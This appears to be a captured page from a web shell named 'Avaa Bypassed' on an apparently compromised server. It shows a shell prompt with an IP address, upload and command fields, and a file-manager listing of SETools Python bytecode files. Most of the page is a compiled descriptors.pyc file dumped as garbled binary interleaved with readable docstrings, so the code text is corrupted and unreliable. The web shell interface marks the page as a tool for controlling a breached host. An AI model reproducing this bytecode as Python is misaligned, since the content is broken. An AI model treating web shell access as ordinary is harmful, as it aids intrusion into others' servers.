404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@13.59.50.105: ~ $
3

�^��@s�dZddlZddlmZmZddlmZddlmZGdd�d�Z	Gdd	�d	e	�Z
Gd
d�de�ZGdd
�d
e�ZGdd�de�Z
Gdd�de�ZGdd�d�ZdS)z�
SETools descriptors.

These classes override how a class's attributes are get/set/deleted.
This is how the @property decorator works.

See https://docs.python.org/3/howto/descriptor.html
for more details.
�N)�ABC�abstractmethod)�defaultdict)�WeakKeyDictionaryc@s,eZdZdZd	dd�Zd
dd�Zdd�ZdS)�CriteriaDescriptora�
    Single item criteria descriptor.

    Keyword Parameters:
    name_regex      The name of instance's regex setting attribute;
                    used as name_regex below.  If unset,
                    regular expressions will never be used.
    lookup_function The name of the SELinuxPolicy lookup function,
                    e.g. lookup_type or lookup_boolean.
    default_value   The default value of the criteria.  The default
                    is None.
    enum_class      The class of enumeration which supports a
                    lookup class method.

    Read-only instance attribute use (obj parameter):
    policy          The instance of SELinuxPolicy
    name_regex      This attribute is read to determine if
                    the criteria should be looked up or
                    compiled into a regex.  If the attribute
                    does not exist, False is assumed.
    NcCs$||_||_||_||_t�|_dS)N)�regex�
default_value�lookup_function�
enum_classr�	instances)�selfZ
name_regexr	rr
�r
�#/usr/lib64/python3.6/descriptors.py�__init__Cs
zCriteriaDescriptor.__init__cCs|dkr|S|jj||j�S)N)r�
setdefaultr)r�obj�objtyper
r
r�__get__RszCriteriaDescriptor.__get__cCs�|sd|j|<nn|jr6t||jd�r6tj|�|j|<nH|jrZt|j|j�}||�|j|<n$|jrt|jj|�|j|<n
||j|<dS)NF)	rr�getattr�re�compiler	�policyr
�lookup)rr�valuerr
r
r�__set__XszCriteriaDescriptor.__set__)NNNN)N)�__name__�
__module__�__qualname__�__doc__rrrr
r
r
rr+s

rc@seZdZdZdd�ZdS)�CriteriaSetDescriptorz!Descriptor for a set of criteria.cs�|sd�j|<n��jr6t|�jd�r6tj|��j|<nd�jrht|j�j��t�fdd�|D���j|<n2�jr�t�fdd�|D���j|<nt|��j|<dS)NFc3s|]}�|�VqdS)Nr
)�.0�v)rr
r�	<genexpr>qsz0CriteriaSetDescriptor.__set__.<locals>.<genexpr>c3s|]}�jj|�VqdS)N)r
r)r r!)rr
rr"ss)	rrrrrr	r�setr
)rrrr
)rrrrjszCriteriaSetDescriptor.__set__N)rrrrrr
r
r
rrfsrc@s:eZdZdZdd�Zddd�Zedd��Zed	d
��ZdS)�NetworkXGraphEdgeDescriptora'
    Descriptor abstract base class for NetworkX graph edge attributes.

    Parameter:
    name        The edge property name

    Instance class attribute use (obj parameter):
    G           The NetworkX graph
    source      The edge's source node
    target      The edge's target node
    cCs
||_dS)N)�name)r�propnamer
r
rr�sz$NetworkXGraphEdgeDescriptor.__init__NcCsH|dkr|Sy|j|j|j|jStk
rBt|j��YnXdS)N)�G�source�targetr%�KeyError�AttributeError)rrrr
r
rr�sz#NetworkXGraphEdgeDescriptor.__get__cCsdS)Nr
)rrrr
r
rr�sz#NetworkXGraphEdgeDescriptor.__set__cCsdS)Nr
)rrr
r
r�
__delete__�sz&NetworkXGraphEdgeDescriptor.__delete__)N)	rrrrrrrrr,r
r
r
rr$�s

	r$c@s eZdZdZdd�Zdd�ZdS)�EdgeAttrDictz7A descriptor for edge attributes that are dictionaries.cCs:|dkr&tt�|j|j|j|j<ntdj|j���dS)Nz0{0} dictionaries should not be assigned directly)r�listr'r(r)r%r+�format)rrrr
r
rr�szEdgeAttrDict.__set__cCs |j|j|j|jj�dS)N)r'r(r)r%�clear)rrr
r
rr,�szEdgeAttrDict.__delete__N)rrrrrr,r
r
r
rr-�sr-c@s eZdZdZdd�Zdd�ZdS)�EdgeAttrIntMaxz�
    A descriptor for edge attributes that are non-negative integers that always
    keep the max assigned value until re-initialized.
    cCs\|dkr"d|j|j|j|j<n6|j|j|j|j}t||�|j|j|j|j<dS)Nr)r'r(r)r%�max)rrrZ
current_valuer
r
rr�szEdgeAttrIntMax.__set__cCsd|j|j|j|j<dS)Nr)r'r(r)r%)rrr
r
rr,�szEdgeAttrIntMax.__delete__N)rrrrrr,r
r
r
rr1�sr1c@s eZdZdZdd�Zdd�ZdS)�EdgeAttrListz0A descriptor for edge attributes that are lists.cCs6|dkr"g|j|j|j|j<ntdj|j���dS)Nz){0} lists should not be assigned directly)r'r(r)r%�
ValueErrorr/)rrrr
r
rr�szEdgeAttrList.__set__cCs |j|j|j|jj�dS)N)r'r(r)r%r0)rrr
r
rr,�szEdgeAttrList.__delete__N)rrrrrr,r
r
r
rr3�sr3c@s2eZdZdZdd�Zddd�Zdd�Zd	d
�ZdS)�PermissionMapDescriptoraN
    Descriptor for Permission Map mappings.

    Parameter:
    name        The map setting name.
    validator   A callable for validating the setting.

    Instance class attribute use (obj parameter):
    perm_map    The full permission map.
    class_      The mapping's object class
    perm        The mapping's permission
    cCs||_||_dS)N)r%�	validator)rr&r6r
r
rr�sz PermissionMapDescriptor.__init__NcCs$|dkr|S|j|j|j|jS)N)�perm_map�class_�permr%)rrrr
r
rr�szPermissionMapDescriptor.__get__cCs"|j|�|j|j|j|j<dS)N)r6r7r8r9r%)rrrr
r
rr�szPermissionMapDescriptor.__set__cCst�dS)N)r+)rrr
r
rr,�sz"PermissionMapDescriptor.__delete__)N)rrrrrrrr,r
r
r
rr5�s


r5)rr�abcrr�collectionsr�weakrefrrrr$r-r1r3r5r
r
r
r�<module>s
;#

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 2.34 KB 0644
__init__.cpython-36.pyc File 2.34 KB 0644
boolquery.cpython-36.opt-1.pyc File 1.8 KB 0644
boolquery.cpython-36.pyc File 1.8 KB 0644
boundsquery.cpython-36.opt-1.pyc File 1.67 KB 0644
boundsquery.cpython-36.pyc File 1.67 KB 0644
categoryquery.cpython-36.opt-1.pyc File 1.49 KB 0644
categoryquery.cpython-36.pyc File 1.49 KB 0644
commonquery.cpython-36.opt-1.pyc File 1.71 KB 0644
commonquery.cpython-36.pyc File 1.71 KB 0644
constraintquery.cpython-36.opt-1.pyc File 4.42 KB 0644
constraintquery.cpython-36.pyc File 4.42 KB 0644
defaultquery.cpython-36.opt-1.pyc File 2.12 KB 0644
defaultquery.cpython-36.pyc File 2.12 KB 0644
descriptors.cpython-36.opt-1.pyc File 7.36 KB 0644
descriptors.cpython-36.pyc File 7.56 KB 0644
devicetreeconquery.cpython-36.opt-1.pyc File 2.31 KB 0644
devicetreeconquery.cpython-36.pyc File 2.31 KB 0644
dta.cpython-36.opt-1.pyc File 13.23 KB 0644
dta.cpython-36.pyc File 13.23 KB 0644
exception.cpython-36.opt-1.pyc File 8.63 KB 0644
exception.cpython-36.pyc File 8.63 KB 0644
fsusequery.cpython-36.opt-1.pyc File 2.81 KB 0644
fsusequery.cpython-36.pyc File 2.81 KB 0644
genfsconquery.cpython-36.opt-1.pyc File 2.96 KB 0644
genfsconquery.cpython-36.pyc File 2.96 KB 0644
ibendportconquery.cpython-36.opt-1.pyc File 3.01 KB 0644
ibendportconquery.cpython-36.pyc File 3.01 KB 0644
ibpkeyconquery.cpython-36.opt-1.pyc File 4.22 KB 0644
ibpkeyconquery.cpython-36.pyc File 4.22 KB 0644
infoflow.cpython-36.opt-1.pyc File 11.33 KB 0644
infoflow.cpython-36.pyc File 11.33 KB 0644
initsidquery.cpython-36.opt-1.pyc File 2.41 KB 0644
initsidquery.cpython-36.pyc File 2.41 KB 0644
iomemconquery.cpython-36.opt-1.pyc File 3.67 KB 0644
iomemconquery.cpython-36.pyc File 3.67 KB 0644
ioportconquery.cpython-36.opt-1.pyc File 3.67 KB 0644
ioportconquery.cpython-36.pyc File 3.67 KB 0644
mixins.cpython-36.opt-1.pyc File 6.31 KB 0644
mixins.cpython-36.pyc File 6.31 KB 0644
mlsrulequery.cpython-36.opt-1.pyc File 2.95 KB 0644
mlsrulequery.cpython-36.pyc File 2.95 KB 0644
netifconquery.cpython-36.opt-1.pyc File 2.48 KB 0644
netifconquery.cpython-36.pyc File 2.48 KB 0644
nodeconquery.cpython-36.opt-1.pyc File 3.53 KB 0644
nodeconquery.cpython-36.pyc File 3.53 KB 0644
objclassquery.cpython-36.opt-1.pyc File 2.87 KB 0644
objclassquery.cpython-36.pyc File 2.87 KB 0644
pcideviceconquery.cpython-36.opt-1.pyc File 2.65 KB 0644
pcideviceconquery.cpython-36.pyc File 2.65 KB 0644
permmap.cpython-36.opt-1.pyc File 11.67 KB 0644
permmap.cpython-36.pyc File 11.9 KB 0644
pirqconquery.cpython-36.opt-1.pyc File 2.58 KB 0644
pirqconquery.cpython-36.pyc File 2.58 KB 0644
polcapquery.cpython-36.opt-1.pyc File 1.29 KB 0644
polcapquery.cpython-36.pyc File 1.29 KB 0644
portconquery.cpython-36.opt-1.pyc File 4.21 KB 0644
portconquery.cpython-36.pyc File 4.21 KB 0644
query.cpython-36.opt-1.pyc File 1003 B 0644
query.cpython-36.pyc File 1003 B 0644
rbacrulequery.cpython-36.opt-1.pyc File 3.75 KB 0644
rbacrulequery.cpython-36.pyc File 3.75 KB 0644
rolequery.cpython-36.opt-1.pyc File 1.94 KB 0644
rolequery.cpython-36.pyc File 1.94 KB 0644
sensitivityquery.cpython-36.opt-1.pyc File 2.12 KB 0644
sensitivityquery.cpython-36.pyc File 2.12 KB 0644
terulequery.cpython-36.opt-1.pyc File 6.13 KB 0644
terulequery.cpython-36.pyc File 6.13 KB 0644
typeattrquery.cpython-36.opt-1.pyc File 2.09 KB 0644
typeattrquery.cpython-36.pyc File 2.09 KB 0644
typequery.cpython-36.opt-1.pyc File 2.81 KB 0644
typequery.cpython-36.pyc File 2.81 KB 0644
userquery.cpython-36.opt-1.pyc File 3.64 KB 0644
userquery.cpython-36.pyc File 3.64 KB 0644
util.cpython-36.opt-1.pyc File 4.59 KB 0644
util.cpython-36.pyc File 4.59 KB 0644